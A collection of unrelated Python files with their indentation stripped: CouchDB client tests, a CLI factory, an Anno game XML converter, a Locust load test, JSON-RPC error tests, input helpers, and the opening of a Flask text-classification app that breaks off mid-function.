'view': 'some/view'
}
for key, value in all_params.items():
yield from self.db.changes(**{key: value})
headers = {}
if key == 'params':
params = value
elif key == 'headers':
headers = value
params = {}
else:
params = {key: value}
if key == 'view':
params['filter'] = '_view'
self.assert_request_called_with('GET', self.db.name, '_changes',
headers=headers, params=params)
def test_compact(self):
yield from self.db.compact()
self.assert_request_called_with('POST', self.db.name, '_compact')
def test_compact_ddoc(self):
resp = yield from self.db.resource.put('_design/ddoc', data={})
resp.close()
yield from self.db.compact('ddoc')
self.assert_request_called_with(
'POST', self.db.name, '_compact', 'ddoc')
def test_document(self):
result = yield from self.db.doc('docid')
self.assert_request_called_with('HEAD', self.db.name, 'docid')
self.assertIsInstance(result, self.db.document_class)
def test_document_custom_class(self):
class CustomDocument(object):
def __init__(self, thing, **kwargs):
self.resource = thing
db = aiocouchdb.v1.database.Database(
self.url_db,
document_class=CustomDocument)
result = yield from db.doc('docid')
self.assert_request_called_with('HEAD', self.db.name, 'docid')
self.assertIsInstance(result, CustomDocument)
self.assertIsInstance(result.resource, aiocouchdb.client.Resource)
def test_document_docid_gen_fun(self):
def custom_id():
return 'foo'
result = yield from self.db.doc(idfun=custom_id)
self.assert_request_called_with('HEAD', self.db.name, 'foo')
self.assertIsInstance(result, self.db.document_class)
def test_document_docid_gen_fun_default_uuid(self):
result = yield from self.db.doc()
call_args, _ = self.request.call_args
docid = call_args[-1].rsplit('/', 1)[-1]
self.assertRegex(docid, '[a-f0-9]{8}-([a-f0-9]{4}-){3}[a-f0-9]{12}')
self.assert_request_called_with('HEAD', self.db.name, docid)
self.assertIsInstance(result, self.db.document_class)
def test_design_document(self):
result = yield from self.db.ddoc('ddoc')
self.assert_request_called_with('HEAD', self.db.name, '_design', 'ddoc')
self.assertIsInstance(result, self.db.design_document_class)
def test_design_document_custom_class(self):
class CustomDocument(object):
def __init__(self, thing, **kwargs):
self.resource = thing
db = aiocouchdb.v1.database.Database(
self.url_db,
design_document_class=CustomDocument)
result = yield from db.ddoc('_design/ddoc')
self.assert_request_called_with('HEAD', self.db.name, '_design', 'ddoc')
self.assertIsInstance(result, CustomDocument)
self.assertIsInstance(result.resource, aiocouchdb.client.Resource)
def test_document_get_item(self):
doc = self.db['docid']
with self.assertRaises(AssertionError):
self.assert_request_called_with('HEAD', self.db.name, 'docid')
self.assertIsInstance(doc, self.db.document_class)
def test_design_document_get_item(self):
doc = self.db['_design/ddoc']
with self.assertRaises(AssertionError):
self.assert_request_called_with(
'HEAD', self.db.name, '_design', 'ddoc')
self.assertIsInstance(doc, self.db.design_document_class)
def test_ensure_full_commit(self):
yield from self.db.ensure_full_commit()
self.assert_request_called_with(
'POST', self.db.name, '_ensure_full_commit')
def test_missing_revs(self):
yield from self.db.missing_revs({'docid': ['1-rev', '2-rev']})
self.assert_request_called_with('POST', self.db.name, '_missing_revs',
data={'docid': ['1-rev', '2-rev']})
def test_purge(self):
yield from self.db.purge({'docid': ['1-rev', '2-rev']})
self.assert_request_called_with('POST', self.db.name, '_purge',
data={'docid': ['1-rev', '2-rev']})
def test_revs_diff(self):
yield from self.db.revs_diff({'docid': ['1-rev', '2-rev']})
self.assert_request_called_with('POST', self.db.name, '_revs_diff',
data={'docid': ['1-rev', '2-rev']})
def test_revs_limit(self):
yield from self.db.revs_limit()
self.assert_request_called_with('GET', self.db.name, '_revs_limit')
def test_revs_limit_update(self):
yield from self.db.revs_limit(42)
self.assert_request_called_with('PUT', self.db.name, '_revs_limit',
data=42)
def test_security(self):
self.assertIsInstance(self.db.security,
aiocouchdb.v1.security.DatabaseSecurity)
def test_security_custom_class(self):
class CustomSecurity(object):
def __init__(self, thing):
self.resource = thing
db = aiocouchdb.v1.database.Database(self.url_db,
security_class=CustomSecurity)
self.assertIsInstance(db.security, CustomSecurity)
def test_temp_view(self):
mapfun = 'function(doc){ emit(doc._id); }'
with (yield from self.db.temp_view(mapfun)) as view:
self.assert_request_called_with('POST', self.db.name, '_temp_view',
data={'map': mapfun})
self.assertIsInstance(view, aiocouchdb.feeds.ViewFeed)
def test_temp_view_reduce(self):
mapfun = 'function(doc){ emit(doc._id); }'
redfun = '_count'
with (yield from self.db.temp_view(mapfun, redfun)) as view:
self.assert_request_called_with('POST', self.db.name, '_temp_view',
data={'map': mapfun,
'reduce': redfun})
self.assertIsInstance(view, aiocouchdb.feeds.ViewFeed)
def test_temp_view_language(self):
mapfun = 'function(doc){ emit(doc._id); }'
with (yield from self.db.temp_view(mapfun, language='javascript')):
self.assert_request_called_with('POST', self.db.name, '_temp_view',
data={'map': mapfun,
'language': 'javascript'})
def test_temp_view_startkey_none(self):
mapfun = 'function(doc){ emit(doc._id); }'
with (yield from self.db.temp_view(mapfun, startkey=None)):
self.assert_request_called_with('POST', self.db.name, '_temp_view',
data={'map': mapfun},
params={'startkey': 'null'})
def test_temp_view_endkey_none(self):
mapfun = 'function(doc){ emit(doc._id); }'
with (yield from self.db.temp_view(mapfun, endkey=None)):
self.assert_request_called_with('POST', self.db.name, '_temp_view',
data={'map': mapfun},
params={'endkey': 'null'})
@utils.run_for('mock')
def test_temp_view_params(self):
all_params = {
'att_encoding_info': False,
'attachments': False,
'conflicts': True,
'descending': True,
'endkey': 'foo',
'endkey_docid': 'foo_id',
'group': False,
'group_level': 10,
'include_docs': True,
'inclusive_end': False,
'keys': ['foo', 'bar'],
'limit': 10,
'reduce': True,
'skip': 20,
'stale': 'ok',
'startkey': 'bar',
'startkey_docid': 'bar_id',
'update_seq': True
}
for key, value in all_params.items():
yield from self.db.temp_view('fun(_)-> ok end', **{key: value})
if key in ('endkey', 'startkey'):
value = json.dumps(value)
if key == 'keys':
self.assert_request_called_with(
'POST', self.db.name, '_temp_view',
data={'map': 'fun(_)-> ok end',
key: value})
else:
self.assert_request_called_with(
'POST', self.db.name, '_temp_view',
data={'map': 'fun(_)-> ok end'},
params={key: value})
def test_view_cleanup(self):
yield from self.db.view_cleanup()
self.assert_request_called_with('POST', self.db.name, '_view_cleanup')
|
from .drepr import *
from .drepr_builder import *
from .align import *
from .attr import *
from .sm import *
from .preprocessing import *
from .resource import *
from .path import *
from .parse_v1.resource_parser import ResourceParser
DEFAULT_RESOURCE_ID = ResourceParser.DEFAULT_RESOURCE_ID
|
from setuptools import find_packages, setup
setup(
name="hgraph2graph",
author="Wengong Jin",
)
|
import argparse
from ..exceptions import UnknownCommandError
from .parser import base_argparser
class CliFactory():
"""
Manage and run commands (parsers).
"""
commands = {}
extensions = []
@classmethod
def register_command(cls, name, parse_function=None):
"""
Define command by name and associate function which will do the
parsing.
The parse function must accept following arguments:
* base_parser - Parser with common pipeline options which should be extended with additional arguments the command needs
* args - CLI arguments that should be parsed
The parse function must return ``(options, event_spec)`` tuple where
the options are return value of argparse.ArgumentParser.parse_args and
event_spec is json encoded event that will be processed by the pipeline.
:param name: Command name for which the parser should be used
:type name: str
:param parse_function: Parser function to associate to the command. Provide this argument if not used as decorator.
:type parse_function: callable, optional
:return: When used as decorator, the unmodified function which is decorated is returned. When the parse_function is provided, the unmodified parse_function itself is returned.
:rtype: callable
"""
def decorator(func):
# TODO: check func signature
cls.commands[name] = func
return func
if parse_function is not None:
return decorator(parse_function)
return decorator
@classmethod
def parse(cls, name, args, base_parser=None):
"""
Run the parser function associated with given name and pass the args
and base_parser to it.
:param name: Command name that should be executed
:type name: str
:param args: CLI arguments that should be parsed
:type args: list
:param base_parser: Parser that should be provided to the command parse function as base parser. If not provided, the default common pipeline parser is used. This should not be commonly used though and it's dedicated for special purposes.
:type base_parser: argparse.ArgumentParser, optional
:return: (options, event_spec) Parsed arguments and json encoded pipeline event specification.
:rtype: (argparse.Namespace, str)
"""
if base_parser is None:
base_parser = cls.apply_extensions(base_argparser())
parser = cls.commands.get(name, cls.commands[None])
return parser(base_parser, args)
@classmethod
def known_commands(cls, excludes=(None,)):
"""
Provide list of currently known commands excluding the ones provided
in excludes.
The main purpose of this method is to provide list of commands which
can be used when running the pipeline directly providing command name
which should be executed.
"""
return [ cmd for cmd in cls.commands if cmd not in excludes ]
@classmethod
def register_argparser_extension(cls, extension):
"""
Register function which extends basic argparse providing common CLI
arguments which are available for all commands. Use this with caution
as it's very easy to collide with arguments which could be defined by
commands. The other reason why this should be limited is that it's very
easy to add a common option which in facts has effect only on some
commands and such extension should be limited to only those commands
and not added using this mechanism.
:param extension:
:type extension:
"""
# TODO: check signature of apply_extensions
cls.extensions.append(extension)
@classmethod
def apply_extensions(cls, parser):
"""
Apply all registered argparser extensions to the provided parser.
:param parser: Parser which should be extended with new parameters
:type parser: argparse.ArgumentParser
:raises Extension: When extension doesn't return valid parser. TODO: use custom exception
"""
for extension in cls.extensions:
extended = extension(parser)
if not isinstance(extended, argparse.ArgumentParser):
# TODO: Use custom exception
raise Exception('Attempted to apply malfunctioning CLI extension: %r' % extension)
parser = extended
return parser
|
class Solution:
def peakIndexInMountainArray(self, arr: List[int]) -> int:
return arr.index(max(arr))
|
from lxml import etree
import subprocess
from pathlib import Path
import argparse
from io import StringIO
import difflib
SEQUENCE_ID_BY_NAME = {"none":-1, "idle01":1000, "idle02":1001, "idle03":1002, "idle04":1003, "idle05":1003, "death01":1005, "talk01":1010, "talk02":1011, "greet01":1020, \
"bow01":1021, "cheer01":1030, "cheer02":1031, "cheer03":1032, "lookat01":1040, "lookat02":1041, "protest01":1050, "protest02":1051, "laydown01":1060, \
"laydown02":1061, "laydown03":1062, "fishing01":1070, "fishing02":1071, "fishing03":1072, "dance01":1080, "dance02":1081, "dance03":1082, "dance04":1083, "fight01":1090, \
"fight02":1091, "walk01":2000, "walk02":2001, "walk03":2002, "walk04":2003, "walk05":2004, "walk06":2005, "walk07":2005, "drunkenwalk01":2010, "drunkenwalk02":2011, \
"run01":2100, "panicrun01":2101, "panicrun02":2102, "donate01":2200, "buy01":2201, "buy02":2202, "work01":3000, "work02":3001, "work03":3002, \
"work04":3003, "work05":3004, "work06":3005, "stand01":4000, "build01":5000, "portrait_neutral_idle":10000, "portrait_neutral_talk":10001, \
"portrait_friendly_idle":10010, "portrait_friendly_talk":10011, "portrait_angry_idle":10020, "portrait_angry_talk":10021, "portrait_neutral_talk_idle":10030, \
"portrait_friendly_talk_idle":10031, "portrait_angry_talk_idle":10040, "extFire01":5100, "extFire02":5101, "extFire03":5102, "pray01":5200, \
"protestwalk01":5300, "protestwalk02":5301, "protest03":1052, "protest04":1053, "protest05":1054, "protest06":1055, "fight03":1092, "protestwalk03":5302, \
"fight04":1093, "fight05":1094, "work_staged01":3010, "work_staged02":3011, "work_staged03":3012, "takeoff01":5400, "land01":5410, "riotspecial01":5350, \
"riotspecial02":5351, "boosted":3050, "riotspecial03":5352, "sitdown01":5500, "sitdown02":5501, "sitdown03":5502, "explode01":2300, "explode02":2301, \
"explode03":2302, "explode04":2303, "idleLoaded01":6000, "walkingLoaded01":6001, "hitwood":2400, "hitbrick":2401, "hitsteel":2402, "hitconcrete":2403, \
"misswater":2410, "missland":2411, "work07":3006, "work08":3007, "work09":3008, "work10":3009, "work11":3020, "work12":3021, "work13":3022, \
"work14":3023, "work15":3024, "work16":3025, "work17":3026, "work18":3027, "work19":3028}
def get_sequence(sequence):
if sequence not in SEQUENCE_ID_BY_NAME:
closest = difflib.get_close_matches(sequence, SEQUENCE_ID_BY_NAME.keys())
print(f"Unknown sequence {sequence}. Did you mean one of {closest}? Use --sequence_codes to get a list of valid sequences.")
exit(1)
return str(SEQUENCE_ID_BY_NAME[sequence])
def get_text(node, query, default = ""):
if node.find(query) is not None:
return node.find(query).text
return default
def get_required_text(node, query):
if node.find(query) is not None:
return node.find(query).text
raise Exception(f"Missing node {query}")
class FeedbackConfig():
property_values = {"Description":"", "IgnoreRootObjectXZRotation":"0", "IsAlwaysVisibleActor":"0", "ApplyScaleToMovementSpeed":"1", "ActorCount":"1", \
"MaxActorCount":"1", "CreateChance":"100", "BoneLink":"NoLink", "RenderFlags":"0", "MultiplyActorByDummyCount":None, "IgnoreForceActorVariation":"0", "IgnoreDistanceScale":"0"}
def __init__(self, feedback_config_node, feedback_encoding):
self.node = feedback_config_node
self.feedback_encoding = feedback_encoding
self.extract_properties()
self.extract_guid_variations()
self.extract_scale()
self.default_state_dummy = get_required_text(self.node, "DefaultStateDummy")
self.extract_sequence()
def extract_properties(self):
self.properties = {}
for prop, default_value in FeedbackConfig.property_values.items():
value = get_text(self.node, prop, default_value)
self.properties[prop] = value
def extract_guid_variations(self):
self.guid_variations = []
for guid_node in self.node.find("GUIDVariationList").findall("GUID"):
guid = guid_node.text
if guid in self.feedback_encoding.guid_by_name:
guid = self.feedback_encoding.guid_by_name[guid]
self.guid_variations.append(guid)
def extract_scale(self):
scale_node = self.node.find("Scale")
self.min_scale = get_required_text(scale_node, "m_MinScaleFactor")
self.max_scale = get_required_text(scale_node, "m_MaxScaleFactor")
def extract_sequence(self):
self.sequence_elements = []
for sequence_element_node in list(self.node.find("SequenceElements")):
element = etree.Element("i")
etree.SubElement(element, "hasValue").text = "1"
if sequence_element_node.tag == "IdleAnimation":
etree.SubElement(element, "elementType").text = "1"
etree.SubElement(element, "m_IdleSequenceID").text = get_sequence(get_required_text(sequence_element_node, "m_IdleSequenceID"))
etree.SubElement(element, "MinPlayCount").text = get_required_text(sequence_element_node, "MinPlayCount")
etree.SubElement(element, "MaxPlayCount").text = get_required_text(sequence_element_node, "MaxPlayCount")
etree.SubElement(element, "MinPlayTime").text = "0"
etree.SubElement(element, "MaxPlayTime").text = "0"
etree.SubElement(element, "ResetStartTime").text = "0"
if sequence_element_node.tag == "TimedIdleAnimation":
etree.SubElement(element, "elementType").text = "1"
etree.SubElement(element, "m_IdleSequenceID").text = get_sequence(get_required_text(sequence_element_node, "m_IdleSequenceID"))
etree.SubElement(element, "MinPlayCount").text = "0"
etree.SubElement(element, "MaxPlayCount").text = "0"
etree.SubElement(element, "MinPlayTime").text = get_required_text(sequence_element_node, "MinPlayTime")
etree.SubElement(element, "MaxPlayTime").text = get_required_text(sequence_element_node, "MaxPlayTime")
etree.SubElement(element, "ResetStartTime").text = "0"
if sequence_element_node.tag == "Walk":
etree.SubElement(element, "elementType").text = "0"
etree.SubElement(element, "WalkSequence").text = get_sequence(get_required_text(sequence_element_node, "WalkSequence"))
etree.SubElement(element, "TargetDummy").text = get_required_text(sequence_element_node, "TargetDummy")
etree.SubElement(element, "TargetDummyId").text = self.feedback_encoding.dummy_id_by_name[get_required_text(sequence_element_node, "TargetDummy")]
etree.SubElement(element, "SpeedFactorF").text = get_required_text(sequence_element_node, "SpeedFactorF")
etree.SubElement(element, "StartDummy")
etree.SubElement(element, "StartDummyId").text = "0"
etree.SubElement(element, "WalkFromCurrentPosition").text = "1"
etree.SubElement(element, "UseTargetDummyDirection").text = "1"
etree.SubElement(element, "DummyGroup").text = "CDATA[12 -1 -1 -1]"
if sequence_element_node.tag == "Wait":
etree.SubElement(element, "elementType").text = "2"
etree.SubElement(element, "MinTime").text = get_required_text(sequence_element_node, "MinTime")
etree.SubElement(element, "MaxTime").text = get_required_text(sequence_element_node, "MaxTime")
if sequence_element_node.tag == "TurnAngle":
etree.SubElement(element, "elementType").text = "10"
etree.SubElement(element, "TurnAngleF").text = get_required_text(sequence_element_node, "TurnAngleF") #in radians
etree.SubElement(element, "TurnSequence").text = get_required_text(sequence_element_node, "TurnSequence")
etree.SubElement(element, "TurnToDummy")
etree.SubElement(element, "TurnToDummyID").text = "0"
if sequence_element_node.tag == "TurnToDummy":
etree.SubElement(element, "elementType").text = "10"
etree.SubElement(element, "TurnAngleF").text = "0"
etree.SubElement(element, "TurnSequence").text = get_required_text(sequence_element_node, "TurnSequence")
etree.SubElement(element, "TurnToDummy").text = get_required_text(sequence_element_node, "TurnToDummy")
etree.SubElement(element, "TurnToDummyID").text = self.feedback_encoding.dummy_id_by_name[get_required_text(sequence_element_node, "TurnToDummy")]
self.sequence_elements.append(element)
def export_to_cf7(self, feedback_config_node):
etree.SubElement(feedback_config_node, "hasValue").text = "1"
etree.SubElement(feedback_config_node, "MainObject").text = "0"
self.export_properties(feedback_config_node)
self.export_guid_variations(feedback_config_node)
fl_node = etree.SubElement(feedback_config_node, "FeedbackLoops") #no idea what this is...
etree.SubElement(fl_node, "k").text = "1"
etree.SubElement(fl_node, "v").text = "0"
sequence_definitions_node = etree.SubElement(feedback_config_node, "SequenceDefinitions")
sequence_definition_node = etree.SubElement(sequence_definitions_node, "i")
self.export_sequence_definition(sequence_definition_node)
def export_properties(self, feedback_config_node):
for prop, value in self.properties.items():
prop_element = etree.SubElement(feedback_config_node, prop)
if value is not None:
prop_element.text = str(value)
def export_guid_variations(self, feedback_config_node):
asset_variation_node = etree.SubElement(feedback_config_node, "AssetVariationList")
guid_variation_bytes = 8 * len(self.guid_variations)
guid_variations_string = f"CDATA[{guid_variation_bytes} {' '.join([guid + ' -1' for guid in self.guid_variations])}]"
etree.SubElement(asset_variation_node, "GuidVariationList").text = guid_variations_string
etree.SubElement(asset_variation_node, "AssetGroupNames")
def export_sequence_definition(self, feedback_config_node):
etree.SubElement(feedback_config_node, "hasValue").text = "1"
#Loop 0 - mostly hardcoded
loop0_node = etree.SubElement(feedback_config_node, "Loop0")
etree.SubElement(loop0_node, "hasValue").text = "1"
loop0_default_state_node = etree.SubElement(loop0_node, "DefaultState")
etree.SubElement(loop0_default_state_node, "DummyName")
etree.SubElement(loop0_default_state_node, "StartDummyGroup")
etree.SubElement(loop0_default_state_node, "DummyId").text = "0"
etree.SubElement(loop0_default_state_node, "SequenceID").text = "-1"
etree.SubElement(loop0_default_state_node, "Visible").text = "1"
etree.SubElement(loop0_default_state_node, "FadeVisibility").text = "1"
etree.SubElement(loop0_default_state_node, "ResetToDefaultEveryLoop").text = "1"
etree.SubElement(loop0_default_state_node, "ForceSequenceRestart").text = "0"
loop_0_container = etree.SubElement(loop0_node, "ElementContainer")
loop_0_elements = etree.SubElement(loop_0_container, "Elements")
loop_0_element1 = etree.SubElement(loop_0_elements, "i")
etree.SubElement(loop_0_element1, "hasValue").text = "1"
etree.SubElement(loop_0_element1, "elementType").text = "9"
etree.SubElement(loop_0_element1, "m_MinScaleFactor").text = self.min_scale
etree.SubElement(loop_0_element1, "m_MaxScaleFactor").text = self.max_scale
#loop 1
loop1_node = etree.SubElement(feedback_config_node, "Loop1")
etree.SubElement(loop1_node, "hasValue").text = "1"
loop1_default_state_node = etree.SubElement(loop1_node, "DefaultState")
etree.SubElement(loop1_default_state_node, "DummyName").text = self.default_state_dummy
etree.SubElement(loop1_default_state_node, "StartDummyGroup")
etree.SubElement(loop1_default_state_node, "DummyId").text = self.feedback_encoding.dummy_id_by_name[self.default_state_dummy]
etree.SubElement(loop1_default_state_node, "SequenceID").text = "-1"
etree.SubElement(loop1_default_state_node, "Visible").text = "1"
etree.SubElement(loop1_default_state_node, "FadeVisibility").text = "1"
etree.SubElement(loop1_default_state_node, "ResetToDefaultEveryLoop").text = "1"
etree.SubElement(loop1_default_state_node, "ForceSequenceRestart").text = "0"
loop_1_container = etree.SubElement(loop1_node, "ElementContainer")
loop_1_elements = etree.SubElement(loop_1_container, "Elements")
for element in self.sequence_elements:
loop_1_elements.append(element)
class SimpleAnnoFeedbackEncoding():
def __init__(self, root_node):
self.root = root_node
self.dummy_id_by_name = {} #id by name
self.dummy_id_counter = 1 #id1 is reserved for the dummy_group node
self.dummy_groups = {} #list of dummies (nodes) by group name
self.guid_by_name = {}
self.feedback_configs = []
self.extract_guid_names()
self.extract_dummy_groups()
self.extract_feedback_configs()
def extract_dummy_groups(self):
for dummy_group_node in self.root.find("DummyGroups").findall("DummyGroup"):
name = get_required_text(dummy_group_node, "Name")
dummy_id = self.get_dummy_id() #groups also need an id for some reason
if name in self.dummy_id_by_name:
raise Exception(f"Non unique dummy name {name}")
self.dummy_id_by_name[name] = dummy_id
self.dummy_groups[name] = self.extract_dummies(dummy_group_node)
def get_dummy_id(self):
self.dummy_id_counter += 1
return str(self.dummy_id_counter)
def extract_dummies(self, dummy_group_node):
dummies = []
for dummy_node in dummy_group_node.findall("Dummy"):
name = get_required_text(dummy_node, "Name")
dummy_id = self.get_dummy_id()
if name in self.dummy_id_by_name:
raise Exception(f"Non unique dummy name {name}")
self.dummy_id_by_name[name] = dummy_id
etree.SubElement(dummy_node, "Id").text = str(dummy_id)
etree.SubElement(dummy_node, "hasValue").text = "1"
etree.SubElement(dummy_node, "RotationY").text = str("0.000000")
# Okay, rotation is fully controlled by rotationY with 0 => looking towards negative x, 3.14 => looking towards positive x.
# Orientation is something else entirely.
dummies.append(dummy_node)
return dummies
def extract_guid_names(self):
for item_node in self.root.find("GUIDNames").findall("Item"):
name = get_required_text(item_node, "Name")
guid = get_required_text(item_node, "GUID")
self.guid_by_name[name] = guid
def extract_feedback_configs(self):
for feedback_config_node in self.root.find("FeedbackConfigs").findall("FeedbackConfig"):
self.feedback_configs.append(FeedbackConfig(feedback_config_node, self))
def as_cf7(self):
cf7root = etree.Element("cf7_imaginary_root")
dummy_root = etree.SubElement(cf7root, "DummyRoot")
self.export_dummies(dummy_root)
etree.SubElement(cf7root, "IdCounter").text = str(self.dummy_id_counter)
etree.SubElement(cf7root, "SplineData")
feedback_definition_node = etree.SubElement(cf7root, "FeedbackDefinition")
feedback_configs_node = etree.SubElement(feedback_definition_node, "FeedbackConfigs")
for feedback_config in self.feedback_configs:
feedback_config_node = etree.SubElement(feedback_configs_node, "i")
feedback_config.export_to_cf7(feedback_config_node)
etree.SubElement(feedback_definition_node, "ValidSequenceIDs").text = "CDATA[8 0 1]"
return cf7root
def export_dummies(self, dummy_root):
etree.SubElement(dummy_root, "hasValue").text = "1"
etree.SubElement(dummy_root, "Name")
etree.SubElement(dummy_root, "Dummies")
etree.SubElement(dummy_root, "Id").text = "1"
dummy_groups_node = etree.SubElement(dummy_root, "Groups")
for dummy_group_name in self.dummy_groups:
group_item_node = etree.SubElement(dummy_groups_node, "i")
self.export_dummy_group(dummy_group_name, group_item_node)
def export_dummy_group(self, dummy_group_name, group_item_node):
etree.SubElement(group_item_node, "hasValue").text = "1"
etree.SubElement(group_item_node, "Name").text = dummy_group_name
etree.SubElement(group_item_node, "Id").text = self.dummy_id_by_name[dummy_group_name]
etree.SubElement(group_item_node, "Groups")
dummy_list_node = etree.SubElement(group_item_node, "Dummies")
for dummy_node in self.dummy_groups[dummy_group_name]:
dummy_node.tag = "i"
dummy_list_node.append(dummy_node)
if __name__ == "__main__":
parser = argparse.ArgumentParser("safe_to_cf7")
parser.add_argument("-i", "--input", dest="filename", required=True, type=str,
help="input file (.xml)", metavar="FILE")
parser.add_argument("-s", "--sequence_codes", help="Print list of valid sequence codes", action = "store_true")
args = parser.parse_args()
if (args.sequence_codes):
print("Valid sequence codes: ")
for sequence_name in SEQUENCE_ID_BY_NAME:
print(sequence_name)
tree = etree.parse(args.filename)
root = tree.getroot()
safe = SimpleAnnoFeedbackEncoding(root)
cf7root = safe.as_cf7()
etree.indent(cf7root, space="\t")
cf7string = etree.tostring(cf7root, pretty_print=True, encoding='unicode', method='xml').replace("</cf7_imaginary_root>", "").replace("<cf7_imaginary_root>","")
with open(str(Path(args.filename).with_suffix(".cf7")), 'w') as f:
print(str(Path(args.filename).with_suffix(".cf7").absolute()))
f.write(cf7string)
|
import base64
from locust import HttpUser, TaskSet, task
from random import randint, choice
class WebTasks(TaskSet):
@task
def load(self):
base64string = base64.encodebytes(b'user:password').replace(b'\n', b'').decode()
catalogue = self.client.get("/catalogue").json()
# This sometimes fails under load.
if "error" in catalogue:
return
category_item = choice(catalogue)
item_id = category_item["id"]
self.client.get("/")
self.client.get("/login", headers={"Authorization":"Basic %s" % base64string})
self.client.get("/category.html")
self.client.get("/catalogue?tags=brown,geek")
self.client.get("/detail.html?id={}".format(item_id))
self.client.delete("/cart")
self.client.post("/cart", json={"id": item_id, "quantity": 1})
self.client.get("/basket.html")
self.client.post("/orders")
class Web(HttpUser):
tasks = [WebTasks]
min_wait = 0
max_wait = 0
|
import argparse
from arnold import main
from app import db
parser = argparse.ArgumentParser(description='down up')
parser.add_argument('direction', help='the direction to go')
args = parser.parse_args()
main(
direction=args.direction,
database=db.database,
directory="app/migrations",
migration_module="app.migrations"
)
|
import pytest
@pytest.mark.asyncio
async def test_RpcMethodNotFoundError(rpc_context):
from aiohttp_json_rpc import RpcMethodNotFoundError
client = await rpc_context.make_client()
with pytest.raises(RpcMethodNotFoundError):
await client.call('flux_capatitor_start')
@pytest.mark.asyncio
async def test_RpcInvalidRequestError(rpc_context):
from aiohttp_json_rpc import RpcInvalidRequestError
async def test_method(request):
raise RpcInvalidRequestError
rpc_context.rpc.add_methods(('', test_method))
client = await rpc_context.make_client()
with pytest.raises(RpcInvalidRequestError):
await client.call('test_method')
@pytest.mark.asyncio
async def test_RpcInvalidParamsError(rpc_context):
from aiohttp_json_rpc import RpcInvalidParamsError
async def test_method(request):
raise RpcInvalidParamsError
rpc_context.rpc.add_methods(('', test_method))
client = await rpc_context.make_client()
with pytest.raises(RpcInvalidParamsError):
await client.call('test_method')
@pytest.mark.asyncio
async def test_RpcGenericServerDefinedError_raw(rpc_context):
import json
from aiohttp_json_rpc import RpcGenericServerDefinedError, raw_response
ERROR_CODE = -32050
MESSAGE = 'Computer says no.'
@raw_response
async def test_method(request):
return json.dumps({
'jsonrpc': '2.0',
'id': request.msg.data['id'],
'error': {
'code': ERROR_CODE,
'message': MESSAGE,
},
})
rpc_context.rpc.add_methods(('', test_method))
client = await rpc_context.make_client()
with pytest.raises(RpcGenericServerDefinedError) as exc_info:
await client.call('test_method')
assert exc_info.value.error_code == ERROR_CODE
assert exc_info.value.message == MESSAGE
@pytest.mark.asyncio
async def test_RpcGenericServerDefinedError(rpc_context):
from aiohttp_json_rpc import RpcGenericServerDefinedError
ERROR_CODE = -32050
MESSAGE = 'Computer says no.'
async def test_method(request):
raise RpcGenericServerDefinedError(error_code=ERROR_CODE,
message=MESSAGE)
rpc_context.rpc.add_methods(('', test_method))
client = await rpc_context.make_client()
with pytest.raises(Exception) as exc_info:
await client.call('test_method')
assert exc_info.value.error_code == ERROR_CODE
assert exc_info.value.message == MESSAGE
|
def select_option(lb, ub):
"""Returns the selected integer type option between lb and ub. Otherwise shows an error message.
Parameters:
lb (lower bound): Lower limit of the integer type for options.
ub (upper bound): Upper limit of the integer type for options.
"""
while True:
option = input("Insert option: ")
if option.isnumeric() and (int(option) in range(lb, ub + 1)):
break
else:
print("You put invalid option, insert number between {} and {}".format(lb, ub))
return int(option)
def input_int():
"""Returns given integer number, otherwise displays an error message."""
while True:
try:
input_data = int(input())
break
except:
print("You put invalid data, please enter an integer")
return input_data
def input_str(option1=None, option2=None):
"""Returns a string variable taken from the user, otherwise displays an error message.
If option1 and option2 are specified, the function returns one of those two options,
otherwise it displays an error message.
Parameters:
option1: First option to choose of type string.
option2: Second option to choose of type string.
"""
while True:
input_data = input()
if option1 is None and option2 is None:
if ''.join(input_data.split()).isalpha():
break
else:
print("You put invalid data, please try again")
if option1 is not None or option2 is not None:
input_data = input_data.upper().strip()
if input_data.isalpha() and (input_data == option1 or input_data == option2):
break
else:
print("You put invalid data, please try again")
return input_data
|
import json
import plotly
import pandas as pd
import nltk
from nltk.stem import WordNetLemmatizer
from nltk.tokenize import word_tokenize
from sklearn.multioutput import MultiOutputClassifier
from flask import Flask
from flask import render_template, request, jsonify
from plotly.graph_objs import Bar
from sklearn.externals import joblib
from sqlalchemy import create_engine
from sklearn.base import BaseEstimator, TransformerMixin
from sklearn.neural_network import MLPClassifier
nltk.download('averaged_perceptron_tagger')
app = Flask(__name__)
def tokenize(text):
'''The function will normalize and lemmatize the text. Returns tokenized text.'''
tokens = word_tokenize(text)
lemmatizer = WordNetLemmatizer()
clean_tokens = []
for tok in tokens:
clean_tok = lemmatizer.lemmatize(tok).lower().strip()
clean_tokens.append(clean_tok)
return clean_tokens
class TextLengthExtractor(BaseEstimator, TransformerMixin):
'''The custom transformer will return the number of characters in each message'''
def fit(self, X, y=None):
return self
def transform(self, X):
X_len = pd.Series(X).apply(lambda x: len(x))
#print(pd.DataFrame(X_len))
return pd.DataFrame(X_len)
class POSCounter(BaseEstimator, TransformerMixin):
'''The custom transformer will return the number of nouns, verbs and adjectives for each message'''
def pos_counts(self, text):
sentence_list = nltk.sent_tokenize(text)
noun_count = 0
verb_count = 0
adj_count = 0
for sentence in sentence_list:
pos_tags = nltk.pos_tag(tokenize(sentence))
for w, tag in pos_tags:
# print (w,tag)
if (tag=='NN'): noun_count+=1
elif (tag=='VBZ'): verb_count+=1
elif (tag=='JJ'): adj_count+=1
return noun_count, verb_count, adj_count
def fit(self, X, y=None):
return self
def transform(self, X):
X_tagged = pd.Series(X).apply(self.pos_counts)
columns = ['noun_count', 'verb_count', 'adj_count']
# source: https://stackoverflow.com/questions/53402584/how-to-convert-a-series-of-tuples-into-a-pandas-dataframe
df = pd.DataFrame([[a,b,c] for a,b,c in X_tagged.values], columns=columns)
df.head()
return df
# load data
engine = create_engine('sqlite:///../data/DisasterResponse.db')
df = pd.read_sql_table('Messages', engine)
# load model
model = joblib.load("../models/classifier.pkl")
# index webpage displays cool visuals and receives user input text for model
@app.route('/')
@app.route('/index')
def index():
# extract data needed for visuals
# TODO: Below is an example - modify to extract data for your own visuals
categories = df.columns[4:-1]
cat_counts = [df[col].sum() for col in categories]
cat_names = categories
# add sorting by counts to show better graph
d = dict(zip(cat_counts, cat_names))
d_sorted = sorted(d.items(), reverse=True)
cat_counts = [i[0] for i in d_sorted]
cat_names = [i[1] for i in d_sorted]
# Identify to categories that co-occur or correlated with the category 'food'
df_food = df[df['food']==1]
df_food=df_food.drop('food', axis=1)
food_categories = df_food.columns[4:-1]
food_counts = [df_food[col].sum() for col in food_categories]
